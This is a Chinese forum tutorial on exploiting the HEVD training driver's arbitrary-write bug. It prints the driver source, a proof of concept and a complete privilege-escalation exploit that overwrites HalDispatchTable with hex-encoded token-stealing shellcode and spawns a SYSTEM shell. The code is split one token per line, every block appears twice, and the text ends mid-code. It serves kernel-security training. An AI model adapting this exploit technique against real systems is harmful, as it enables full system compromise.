-
-
[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
-
发表于: 2021-7-5 23:03 13588
-
环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
触发漏洞源码如下:
对比Vulnerable
版本与Secure
版本可以发现,其在执行*(Where) = *(What)
语句之前未通过ProbeForRead/ProbeForWrite
函数校验读取及写入地址的合法性。跟进ProbeForRead
函数:
首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress
其值由MiInitializeBootDefaults
函数初始化):
边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT
异常:
越界则触发STATUS_ACCESS_VIOLATION
异常:
ProbeForWrite
函数在边界对齐及地址范围校验方面与ProbeForRead
类似,除此之外该函数会校验地址是否可写,可读,可访问:
编写POC如下:
触发漏洞:
根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable
中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。
nt!HalDispatchTable
中HalQuerySystemInformation
与HalSetSystemInformation
是在内核初始化过程中确定的:
二者分别可以通过NtQueryIntervalProfile
与NtSetIntervalProfile
函数调用:
下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile
函数定义如下:
其中KPROFILE_SOURCE
是一枚举类型:
NtQueryIntervalProfile
首先校验_KTHREAD
中PreviousMode
(Offset 0x13A)字段值(关于_KPCR
,_KPRCB
,_KTHREAD
上一篇有介绍):
其次判断参数Interval
指向地址是否超过MmUserProbeAddress
:
最后判断ProfileSource
是否为零,非零值则调用KeQueryIntervalProfile
:
KeQueryIntervalProfile
会判断ProfileSource
是否为1,不为1才会继续调用nt!HalDispatchTable+0x4
如此,笔者构造Exploit中对该函数调用如下:
对nt!HalDispatchTable+0x4
函数调用不止KeQueryIntervalProfile
一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation
函数地址相差0x912来进行恢复:
Shellcode如下:
NtSetIntervalProfile
函数定义如下:
其对参数判断位于KeSetIntervalProfile
函数内,首先校验nt!PerfGlobalGroupMask+0x4
:
其次判断ProfileSource
是否为0及是否为1:
上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:
效果如下:
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What
=
NULL;
PULONG_PTR Where
=
NULL;
NTSTATUS Status
=
STATUS_SUCCESS;
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What
=
UserWriteWhatWhere
-
>What;
Where
=
UserWriteWhatWhere
-
>Where;
DbgPrint(
"[+] UserWriteWhatWhere: 0x%p\n"
, UserWriteWhatWhere);
DbgPrint(
"[+] WRITE_WHAT_WHERE Size: 0x%X\n"
, sizeof(WRITE_WHAT_WHERE));
DbgPrint(
"[+] UserWriteWhatWhere->What: 0x%p\n"
, What);
DbgPrint(
"[+] UserWriteWhatWhere->Where: 0x%p\n"
, Where);
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
properly validating
if
address
/
/
pointed by
'Where'
and
'What'
value resides
in
User mode by calling ProbeForRead()
/
/
/
ProbeForWrite() routine before performing the write operation
/
/
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*
(Where)
=
*
(What);
#else
DbgPrint(
"[+] Triggering Arbitrary Write\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Arbitrary Memory Overwrite vulnerability
/
/
because the developer
is
writing the value pointed by
'What'
to memory location
/
/
pointed by
'Where'
without properly validating
if
the values pointed by
'Where'
/
/
and
'What'
resides
in
User mode
/
/
*
(Where)
=
*
(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
/
/
/
/
There
is
one more hidden vulnerability. Find it out.
/
/
return
Status;
}
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What
=
NULL;
PULONG_PTR Where
=
NULL;
NTSTATUS Status
=
STATUS_SUCCESS;
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What
=
UserWriteWhatWhere
-
>What;
Where
=
UserWriteWhatWhere
-
>Where;
DbgPrint(
"[+] UserWriteWhatWhere: 0x%p\n"
, UserWriteWhatWhere);
DbgPrint(
"[+] WRITE_WHAT_WHERE Size: 0x%X\n"
, sizeof(WRITE_WHAT_WHERE));
DbgPrint(
"[+] UserWriteWhatWhere->What: 0x%p\n"
, What);
DbgPrint(
"[+] UserWriteWhatWhere->Where: 0x%p\n"
, Where);
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
properly validating
if
address
/
/
pointed by
'Where'
and
'What'
value resides
in
User mode by calling ProbeForRead()
/
/
/
ProbeForWrite() routine before performing the write operation
/
/
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*
(Where)
=
*
(What);
#else
DbgPrint(
"[+] Triggering Arbitrary Write\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Arbitrary Memory Overwrite vulnerability
/
/
because the developer
is
writing the value pointed by
'What'
to memory location
/
/
pointed by
'Where'
without properly validating
if
the values pointed by
'Where'
/
/
and
'What'
resides
in
User mode
/
/
*
(Where)
=
*
(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
/
/
/
/
There
is
one more hidden vulnerability. Find it out.
/
/
return
Status;
}
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
int
main()
{
HANDLE dev
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if
(dev
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
printf(
"Done! Device Handle:0x%p\n"
, dev);
PWRITE_WHAT_WHERE
Buffer
;
Buffer
=
(WRITE_WHAT_WHERE
*
)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(
Buffer
, sizeof(WRITE_WHAT_WHERE));
Buffer
-
>Where
=
(PULONG_PTR)
0x41414141
;
Buffer
-
>What
=
(PULONG_PTR)
0x42424242
;
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE,
Buffer
, sizeof(WRITE_WHAT_WHERE), NULL,
0
, &size_returned, NULL);
CloseHandle(dev);
system(
"pause"
);
return
0
;
}
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
int
main()
{
HANDLE dev
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if
(dev
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
printf(
"Done! Device Handle:0x%p\n"
, dev);
PWRITE_WHAT_WHERE
Buffer
;
Buffer
=
(WRITE_WHAT_WHERE
*
)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(
Buffer
, sizeof(WRITE_WHAT_WHERE));
Buffer
-
>Where
=
(PULONG_PTR)
0x41414141
;
Buffer
-
>What
=
(PULONG_PTR)
0x42424242
;
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE,
Buffer
, sizeof(WRITE_WHAT_WHERE), NULL,
0
, &size_returned, NULL);
CloseHandle(dev);
system(
"pause"
);
return
0
;
}
NTSTATUS
NtQueryIntervalProfile (
KPROFILE_SOURCE ProfileSource,
ULONG
*
Interval);
NTSTATUS
NtQueryIntervalProfile (
KPROFILE_SOURCE ProfileSource,
ULONG
*
Interval);
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*
PKPROFILE_SOURCE;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*
PKPROFILE_SOURCE;
PNtQueryIntervalProfile NtQueryIntervalProfile
=
(PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQueryIntervalProfile"
);
if
(!NtQueryIntervalProfile) {
cout <<
"[!] Failed to Get the Address of NtQueryIntervalProfile."
<< endl;
cout <<
"[!] Last error "
<< GetLastError() << endl;
exit(
1
);
}
NtQueryIntervalProfile(ProfileTotalIssues, (ULONG
*
)SC);
/
/
SC——>Shellcode Address
PNtQueryIntervalProfile NtQueryIntervalProfile
=
(PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQueryIntervalProfile"
);
if
(!NtQueryIntervalProfile) {
cout <<
"[!] Failed to Get the Address of NtQueryIntervalProfile."
<< endl;
cout <<
"[!] Last error "
<< GetLastError() << endl;
exit(
1
);
}
NtQueryIntervalProfile(ProfileTotalIssues, (ULONG
*
)SC);
/
/
SC——>Shellcode Address
INT32 KrBase
=
GetKernelBaseAddress();
INT32 HalDispatchTable_Address
=
KrBase
+
0x0012b3f8
;
INT32 HalQuerySystemInformation_Address
=
HalDispatchTable_Address
+
0x4
;
INT32 HalSetSystemInformation_Address
=
HalDispatchTable_Address
+
0x8
;
/
/
HalQuerySystemInformation_Address Offset
0x14
CHAR
*
SC
=
(CHAR
*
)VirtualAlloc(
0
,
0x60
,
0x3000
,
0x40
);
ZeroMemory(SC,
0x60
);
__asm {
pushad;
mov eax, HalSetSystemInformation_Address;
mov ebx, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi],
0x60
;
mov dword ptr[edi
+
0x1
],
0x000000E8
;
mov dword ptr[edi
+
0x5
],
0x588B5800
;
mov dword ptr[edi
+
0x9
],
0x4F488B4B
;
mov dword ptr[edi
+
0xD
],
0xEA81138B
;
mov dword ptr[edi
+
0x11
],
0x00000912
;
mov dword ptr[edi
+
0x15
],
0x90901189
;
mov dword ptr[edi
+
0x19
],
0x8B64C031
;
mov dword ptr[edi
+
0x1D
],
0x00012480
;
mov dword ptr[edi
+
0x21
],
0x50408B00
;
mov dword ptr[edi
+
0x25
],
0x04BAC189
;
mov dword ptr[edi
+
0x29
],
0x8B000000
;
mov dword ptr[edi
+
0x2D
],
0x0000B880
;
mov dword ptr[edi
+
0x31
],
0x00B82D00
;
mov dword ptr[edi
+
0x35
],
0x90390000
;
mov dword ptr[edi
+
0x39
],
0x000000B4
;
mov dword ptr[edi
+
0x3D
],
0x908BED75
;
mov dword ptr[edi
+
0x41
],
0x000000F8
;
mov dword ptr[edi
+
0x45
],
0x00F89189
;
mov dword ptr[edi
+
0x49
],
0x31610000
;
mov dword ptr[edi
+
0x4D
],
0x0000C3C0
;
mov dword ptr[edi
+
0x51
], eax;
mov dword ptr[edi
+
0x55
], ebx;
popad;
}
INT32 KrBase
=
GetKernelBaseAddress();
INT32 HalDispatchTable_Address
=
KrBase
+
0x0012b3f8
;
INT32 HalQuerySystemInformation_Address
=
HalDispatchTable_Address
+
0x4
;
INT32 HalSetSystemInformation_Address
=
HalDispatchTable_Address
+
0x8
;
/
/
HalQuerySystemInformation_Address Offset
0x14
CHAR
*
SC
=
(CHAR
*
)VirtualAlloc(
0
,
0x60
,
0x3000
,
0x40
);
ZeroMemory(SC,
0x60
);
__asm {
pushad;
mov eax, HalSetSystemInformation_Address;
mov ebx, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi],
0x60
;
mov dword ptr[edi
+
0x1
],
0x000000E8
;
mov dword ptr[edi
+
0x5
],
0x588B5800
;
mov dword ptr[edi
+
0x9
],
0x4F488B4B
;
mov dword ptr[edi
+
0xD
],
0xEA81138B
;
mov dword ptr[edi
+
0x11
],
0x00000912
;
mov dword ptr[edi
+
0x15
],
0x90901189
;
mov dword ptr[edi
+
0x19
],
0x8B64C031
;
mov dword ptr[edi
+
0x1D
],
0x00012480
;
mov dword ptr[edi
+
0x21
],
0x50408B00
;
mov dword ptr[edi
+
0x25
],
0x04BAC189
;
mov dword ptr[edi
+
0x29
],
0x8B000000
;
mov dword ptr[edi
+
0x2D
],
0x0000B880
;
mov dword ptr[edi
+
0x31
],
0x00B82D00
;
mov dword ptr[edi
+
0x35
],
0x90390000
;
mov dword ptr[edi
+
0x39
],
0x000000B4
;
mov dword ptr[edi
+
0x3D
],
0x908BED75
;
mov dword ptr[edi
+
0x41
],
0x000000F8
;
mov dword ptr[edi
+
0x45
],
0x00F89189
;
mov dword ptr[edi
+
0x49
],
0x31610000
;
mov dword ptr[edi
+
0x4D
],
0x0000C3C0
;
mov dword ptr[edi
+
0x51
], eax;
mov dword ptr[edi
+
0x55
], ebx;
popad;
}
NTSTATUS
NtSetIntervalProfile (
ULONG Interval,
KPROFILE_SOURCE ProfileSource);
NTSTATUS
NtSetIntervalProfile (
ULONG Interval,
KPROFILE_SOURCE ProfileSource);
/
/
HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
using namespace std;
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD
Id
;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[
256
];
}SYSTEM_MODULE,
*
PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION{
ULONG ModulesCount;
SYSTEM_MODULE Modules[
1
];
} SYSTEM_MODULE_INFORMATION,
*
PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS{
SystemModuleInformation
=
0xB
} SYSTEM_INFORMATION_CLASS;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*
PKPROFILE_SOURCE;
typedef NTSTATUS(WINAPI
*
PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
typedef NTSTATUS(WINAPI
*
PNtQueryIntervalProfile)(
__in KPROFILE_SOURCE ProfileSource,
__in ULONG
*
Interval);
typedef NTSTATUS(WINAPI
*
PNtSetIntervalProfile)(
__in ULONG
*
Interval,
__in KPROFILE_SOURCE ProfileSource);
INT32 GetKernelBaseAddress(){
/
/
Get NtQuerySystemInformation Address
PNtQuerySystemInformation NtQuerySystemInformation
=
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQuerySystemInformation"
);
if
(!NtQuerySystemInformation){
cout <<
"[!] Failed to Get the Address of NtQuerySystemInformation."
<< endl;
cout <<
"[!] Last Error:"
<< GetLastError() << endl;
exit(
1
);
}
ULONG
len
=
0
;
/
/
Get
Buffer
Length
NtQuerySystemInformation(SystemModuleInformation,NULL,
0
,&
len
);
/
/
Allocate Memory
PSYSTEM_MODULE_INFORMATION PModuleInfo
=
(PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,
len
,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
/
/
Get SYSTEM_MODULE_INFORMATION
NTSTATUS Status
=
NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,
len
,&
len
);
if
(Status !
=
(NTSTATUS)
0x0
){
cout <<
"[!] NtQuerySystemInformation Failed!"
<< endl;
exit(
1
);
}
PVOID KernelImageBase
=
PModuleInfo
-
>Modules[
0
].ImageBaseAddress;
cout <<
"[>] Kernel base address: 0x"
<<
hex
<< KernelImageBase << endl;
return
(INT32)KernelImageBase;
}
int
main() {
HANDLE hFile
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if
(hFile
=
=
INVALID_HANDLE_VALUE) {
cout <<
"[!] No Handle to HackSysExtremeVulnerableDriver"
<< endl;
exit(
1
);
}
cout <<
"[>] Handle to HackSysExtremeVulnerableDriver: 0x"
<<
hex
<< (INT32)hFile << endl;
INT32 KrBase
=
GetKernelBaseAddress();
INT32 HalDispatchTable_Address
=
KrBase
+
0x0012b3f8
;
INT32 HalQuerySystemInformation_Address
=
HalDispatchTable_Address
+
0x4
;
INT32 HalSetSystemInformation_Address
=
HalDispatchTable_Address
+
0x8
;
/
/
HalQuerySystemInformation_Address Offset
0x912
CHAR
*
SC
=
(CHAR
*
)VirtualAlloc(
0
,
0x60
,
0x3000
,
0x40
);
ZeroMemory(SC,
0x60
);
__asm {
pushad;
mov ebx, HalSetSystemInformation_Address;
mov eax, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi],
0x60
;
mov dword ptr[edi
+
0x1
],
0x000000E8
;
mov dword ptr[edi
+
0x5
],
0x588B5800
;
mov dword ptr[edi
+
0x9
],
0x4F488B4B
;
mov dword ptr[edi
+
0xD
],
0xC281138B
;
mov dword ptr[edi
+
0x11
],
0x00000912
;
mov dword ptr[edi
+
0x15
],
0x90901189
;
mov dword ptr[edi
+
0x19
],
0x8B64C031
;
mov dword ptr[edi
+
0x1D
],
0x00012480
;
mov dword ptr[edi
+
0x21
],
0x50408B00
;
mov dword ptr[edi
+
0x25
],
0x04BAC189
;
mov dword ptr[edi
+
0x29
],
0x8B000000
;
mov dword ptr[edi
+
0x2D
],
0x0000B880
;
mov dword ptr[edi
+
0x31
],
0x00B82D00
;
mov dword ptr[edi
+
0x35
],
0x90390000
;
mov dword ptr[edi
+
0x39
],
0x000000B4
;
mov dword ptr[edi
+
0x3D
],
0x908BED75
;
mov dword ptr[edi
+
0x41
],
0x000000F8
;
mov dword ptr[edi
+
0x45
],
0x00F89189
;
mov dword ptr[edi
+
0x49
],
0x31610000
;
mov dword ptr[edi
+
0x4D
],
0x0000C3C0
;
mov dword ptr[edi
+
0x51
], eax;
mov dword ptr[edi
+
0x55
], ebx;
popad;
}
PULONG_PTR
*
PShellcode
=
(PULONG_PTR
*
)&SC;
PWRITE_WHAT_WHERE
Buffer
;
Buffer
=
(WRITE_WHAT_WHERE
*
)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(
Buffer
, sizeof(WRITE_WHAT_WHERE));
Buffer
-
>Where
=
(PULONG_PTR)HalSetSystemInformation_Address;
Buffer
-
>What
=
(PULONG_PTR)PShellcode;
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE,
Buffer
, sizeof(WRITE_WHAT_WHERE), NULL,
0
, &size_returned, NULL);
PNtSetIntervalProfile NtSetIntervalProfile
=
(PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtSetIntervalProfile"
);
if
(!NtSetIntervalProfile) {
cout <<
"[!] Failed to Get the Address of NtSetIntervalProfile."
<< endl;
cout <<
"[!] Last error "
<< GetLastError() << endl;
exit(
1
);
}
NtSetIntervalProfile((ULONG
*
)SC, ProfileTotalIssues);
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
STARTUPINFOA StartupInfo;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe"
, NULL, NULL, NULL,
0
, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
VirtualFree(SC,
0
, MEM_RELEASE);
}
/
/
HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
using namespace std;
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD
Id
;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[
256
];
}SYSTEM_MODULE,
*
PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION{
ULONG ModulesCount;
SYSTEM_MODULE Modules[
1
];
} SYSTEM_MODULE_INFORMATION,
*
PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS{
SystemModuleInformation
=
0xB
} SYSTEM_INFORMATION_CLASS;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*
PKPROFILE_SOURCE;
typedef NTSTATUS(WINAPI
*
PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength